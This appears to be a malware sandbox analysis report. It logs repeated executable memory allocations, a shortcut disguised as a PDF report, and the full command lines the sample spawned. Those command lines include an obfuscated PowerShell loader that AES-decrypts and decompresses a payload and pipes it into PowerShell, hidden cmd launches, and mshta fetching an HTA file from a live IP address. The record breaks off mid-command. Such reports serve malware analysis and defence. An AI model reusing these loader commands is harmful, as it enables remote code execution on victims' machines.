NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02ad2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02767000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02752000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02765000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0275c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x04c70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0276c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02753000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02754000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02755000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02756000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02757000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02758000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02759000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050b9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050ba000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050bb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050bc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050bd000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050be000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050bf000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050c0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050c1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050c2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050c3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory June 21, 2023, 7:29 a.m.	process_identifier: 2212 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x050c4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (2 events)

file	C:\Users\test22\AppData\Local\Temp\rapport 2023 MZN Thoma.pdf.lnk
file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (8 events)

cmdline	powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe
cmdline	C:\Windows\System32\cmd.exe /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell -
cmdline	"C:\Windows\System32\mshta.exe" http://141.98.6.99/thomas.hta
cmdline	powershell -
cmdline	powershell.exe -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell - }
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . C:\i\S2\?shtxe ('http' + '://141.98.6.99/thomas.hta')
cmdline	"C:\Windows\system32\cmd.exe" /c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7ObosSCDCCusNHEfGP28xOzLiyThB/OWqwU6IEfhocYAW8pXHSyk2vtCdrOJI/KiGs+3f0I6B3PUhtWgLfNv4kMfRXS1caZ1h39uZHvmP9+bGvLUCLYNUP0PMF6TGtJrEUahyrd2S/jx4bnWhZ6nAySpZrG4QKx+rynmvTnROMl+Txt/VgzzKEgY6+iYhdx4gPsZUaMEMPWABNpE0bUsj9xzHfhEAsJ6eBakkmXQ7KJKyLni71/JRAaCrlhkC9UEMuEfKLDiTdUsNmr1PnAKtux6eNJi+7Tr7B5nFm/7JOYxuijdP/';$bSPpyW = 'ekxZakRPWnpvTHJXWVNiYWZQQUdaSXRhTkpHQlREUkM=';$jKElKi = New-Object 'System.Security.Cryptography.AesManaged';$jKElKi.Mode = [System.Security.Cryptography.CipherMode]::ECB;$jKElKi.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$jKElKi.BlockSize = 128;$jKElKi.KeySize = 256;$jKElKi.Key = [System.Convert]::FromBase64String($bSPpyW);$GBjSZ = [System.Convert]::FromBase64String($CEIapriY);$QGUrNraa = $GBjSZ[0..15];$jKElKi.IV = $QGUrNraa;$hOjutMgvE = $jKElKi.CreateDecryptor();$OUYRYbvlx = $hOjutMgvE.TransformFinalBlock($GBjSZ, 16, $GBjSZ.Length - 16);$jKElKi.Dispose();$wkRMyQHq = New-Object System.IO.MemoryStream( , $OUYRYbvlx );$NiVvmpo = New-Object System.IO.MemoryStream;$UzwxCPYkJ = New-Object System.IO.Compression.GzipStream $wkRMyQHq, ([IO.Compression.CompressionMode]::Decompress);$UzwxCPYkJ.CopyTo( $NiVvmpo );$UzwxCPYkJ.Close();$wkRMyQHq.Close();[byte[]] $GpQlQse = $NiVvmpo.ToArray();$ZGQWbe = [System.Text.Encoding]::UTF8.GetString($GpQlQse);$ZGQWbe \| powershell -
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $CEIapriY = 'AAAAAAAAAAAAAAAAAAAAAJ9CfG/UHnCfXjouWXYkX9h97i9plh7U+dv2DJH8W505q1UDP5PfUjmmKWHTC9aTD+gbOkmC8huQUyOCo4jDEO7AoIN2OqRHJjgTOmgCHHUG7uUY/LlPS7WT5lAjsCxbrGiML/fydP4e/LtN9gGHUNzM+f9HyH+FxNl/XpKnc6kCURRifs3s8nJ7y4cuoM+hvEhLRT71ebsK5BQmLQT+1AxeWg4TDHnvB/6AzeIxUCb6/1zOVbxfgU+M366rAVyu5imBeMa97nsG1sIVaG80VyzT0zrS1rAndYm+OBIKMeynRhALmP6q6oMUsZvz9b2Ku3tjmEszgB8RpXjoPw/PvfQC3DIYsTMxF1Or0Pz09lwsULqUmznZINEtcGT7ijksodc3JYKBnEhqo68ExY3mNeABgvmy0LWvF0QG0dbBL/iNnn67HlE53Y80IbT7fAXvGnotGWrb9WUQbk8zAbRuJDmb1w1iwzAtOh3v/p8yWes4ljpmqHi0MkW+dZ/t7V1FNeHRpySdlKwEXNYezH+SVMJU/0QKRM4X+6WFEY9Zc/fY+2SVRi6fM837ik0eWkBXnIkegWwIAcfREpJ8BFvWoMyUERK2Tga9WUiObH5wk/aEh/cHFquqHqI/r78Z8zCEsPjcRT8zfpHmGAmm/yIWVSzgp85ulUn7j2oQb33XpDaGYpLsgI+EX+DC3u/9MuIugcvrANtvs60n2ZFFD0EV0C2gxu5TCVGAqfG9Go89MSXqsCbCCwdzq7zQlk7Obo